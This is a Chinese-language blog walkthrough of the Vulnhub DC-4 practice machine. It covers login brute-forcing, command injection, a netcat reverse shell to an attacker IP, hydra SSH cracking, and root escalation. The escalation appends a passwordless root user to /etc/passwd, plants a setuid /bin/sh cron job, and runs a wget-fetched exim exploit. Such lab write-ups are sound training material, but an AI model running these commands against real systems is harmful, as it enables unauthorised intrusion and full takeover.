Vulnhub-DC-4打靶

发布于 2024-07-09  1325 次阅读


核心点:teehee写入文件提权

靶机下载地址:https://www.vulnhub.com/entry/dc-4,313/

先用命令 列出当前局域网的所有设备

arp-scan -l

查到靶机ip:192.168.49.133

再nmap扫端口看看

nmap -A 192.168.49.133  
image-20240403225340175

有80/22端口 访问

image-20240403225557783

尝试爆破看看能不能登陆

image-20240403225636177

爆出来账号是admin 密码是happy 直接登录看看

image-20240403230650405

成功登录

再进入这个command界面

image-20240403230734067

抓包试试run发现可以执行命令

ls /
image-20240403230820311

然后去反弹shell 但是不能在bp里面搞(不知道为什么) 要在前端修改命令然后run:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 196.168.49.131 2333 >/tmp/f

拿到shell

image-20240420164943325

使用python获得交互式界面

python -c "import pty;pty.spawn('/bin/bash')"

防止shell断了

这个靶有两种方法:
一.teehee提权:

在home里看见

sam和charles是空的

jim里有的都看看

image-20240420171624768

看到了三句话和一个密码字典文件

可以想到会不会是用这个密码字典去爆jim的密码然后登录

将密码字典复制存kali文件 再爆破

hydra -l jim -P '/home/kali/Desktop/6.txt'  ssh://192.168.49.133
image-20240420202650014
host: 192.168.49.133   login: jim   password: jibril04

再ssh登上去

ssh jim@192.168.49.133
image-20240420204548307

看到有个邮件,就去/var里看看

image-20240420211233492

告诉了Charles的密码

passwd is : ^xHhA&hvim0y
image-20240420211521359

使用命令查看用户权限:

sudo -l
image-20240420211840170

发现此用户可以免密执行/teehee

image-20240420212139776

这里看到了teehee可以不覆盖文件并且可以在文件末尾加上数据

查资料知道这里又有两种方法提权

第一种:添加一个无密码用户,并使用teehee执行写入 passwd中

echo 命令与 sudo 命令配合使用,可以实现向那些只有系统管理员才有权限操作的文件中写入信息命令解释程序(Shell)
添加一个用户,并使用teehee执行写入 passwd中

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
参数解释
#如:admin:x:0:0::/home/admin:/bin/bash
#[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
"-a" 选项的作用等同于 ">>" 命令

加上了就可以直接提权到root了

su admin
image-20240420214042582

第二种:通过定时任务执行脚本提权

向/etc/crontab文件中写入新的定时任务
时间部分全部填写为*,这样默认这个定时任务每分钟执行一次,可以根据情况自行设定。通过执行的脚本将/bin/sh的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限

echo "****root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
cat /etc/crontab
ls -al /bin/sh
ls -al /bin/bash
/bin/sh

这里就已经可以以root权限执行命令了

image-20240420215339425

总结:刚开始还没整明白,后来想了想,这一方法是用这个账号的特殊权限来使用teehee来写入一些文件,像是定时任务,或者直接创建无密码的admin登录;这两个方法都是直接能够提权至root或者切换到admin再使用root权限

二.exim4提权

先查看什么有suid权限

find / -user root -perm -4000 -print 2>/dev/null
image-20240420221552849

看到了exim4

image-20240420221929423

看到version是4.89,本地漏洞库查一下

searchsploit exim 4
image-20240420223259009
image-20240420223225265

46996符合exim 4.89 就用这个 拷贝到kali的apache web页面下

systemctl start apache2.service                                      #开启apache
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html #拷贝到kali的apache web页面下

访问看看成功了没

http://192.168.49.131/46996.sh
image-20240420223813249

将这个脚本下载了

wget http://192.168.49.131/46996.sh
image-20240420224042988

没有权限下载在~目录下 换成tmp 再执行

image-20240420224224142

下载成功了再去给给运行权限

chmod +x 46996.sh
./46996.sh
image-20240420224545147

拿到了root权限再切admin cat flag.txt就行了

image-20240420224647878

到这里就这个靶场应该就没了,两种方法提权.这个可能不是设定解吧,这个的操作对现在的我来说有点难想象吧

这个靶学到了teehee写入文件提权;创建定时任务实现来执行root权限的shell;学会了使用kali本地漏洞库下载exp到靶机再进行提权

还是挺不戳的哦